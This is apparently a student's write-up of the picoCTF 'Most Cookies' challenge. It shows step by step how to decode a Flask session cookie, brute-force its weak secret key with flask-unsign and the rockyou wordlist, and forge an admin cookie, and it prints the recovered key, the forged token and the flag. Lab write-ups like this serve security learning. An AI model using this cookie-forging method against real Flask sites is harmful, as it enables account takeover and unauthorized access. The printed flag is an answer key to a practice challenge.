Most Cookies (Medium)
- Challenge Link: https://play.picoctf.org/practice/challenge/177?category=1&difficulty=2&page=3
- Challenge Description: Alright, enough of using my own encryption. Flask session cookies should be plenty secure!
- Hints:
- How secure is a flask cookie?
Solution
In reponse to the hint, flask cookies are not that secure. Just like the previous cookie challenge, we can use DevTools to see the response of the website when we put in an cookie name.
As you can see, instead of simple numbers that we can just replace it with has now been encoded. Using a JWT debugger, this is what our session cookie contains:
eyJ2ZXJ5X2F1dGgiOiJzbmlja2VyZG9vZGxlIn0.aY5EVQ.ppNXi3S35tCTX3Vd5XI02TDIvZc
This structure is characteristic of Flask session cookies signed using itsdangerous. So we suspected this was:
- A Flask application
- Using itsdangerous session signing
- Signed with HMAC (default: SHA1)
In order to complete this, we need to install flask-unsign
python3 -m pip install --user flask-unsign
Then added it to PATH: (im using pico's webshell)
export PATH=$HOME/.local/bin:$PATH
To confirm our earlier suspicions, we decoded the cookie using flask-unsign:
flask-unsign --decode --cookie '<cookie>'
To which we got:
{"very_auth":"snickerdoodle"}
Now it is confirmed that we can:
- The cookie contains readable JSON
- It is signed (not encrypted)
- We can modify it if we know the secret key
From prior knowledge of this challenge, the Flask secret_key is most likely chosen from a list of cookie names which makes the secret weak and guessable. Our goal now is to change:
{"very_auth":"snickerdoodle"} to {"very_auth":"admin"}
First we download the rockyou word list. After that, we run:
flask-unsign --unsign \ --cookie 'eyJ2ZXJ5X2F1dGgiOiJzbmlja2VyZG9vZGxlIn0.aY5EVQ.ppNXi3S35tCTX3Vd5XI02TDIvZc' \ --wordlist rockyou.txt \ --no-literal-eval
(The --no-literal-eval flag was required to prevent errors when rockyou contained numeric-only entries.)
After a bit, we got our secret key:
[+] Found secret key after 11776 attempts b'icebox'
Now we can forge our own admin cookie:
flask-unsign --sign \
--cookie '{"very_auth":"admin"}' \
--secret 'icebox'
eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9.aY5JMA.8bpD6micQzkDqMBJK21qW-FsJqQ
Finally, in the browser, open DevTools, go to Application → Cookies, replace the session cookie value, refresh the page, and the server accepted the forged session and granted admin access.
picoCTF{cO0ki3s_yum_f3526545}
Overall, this challenge is one of the more interesting ones, I learned a lot about flask session cookies. Flask session cookies are signed, not encrypted, because of that the integrity is protected by using a secret key. But it becomes vulnerable if the secret key is weak.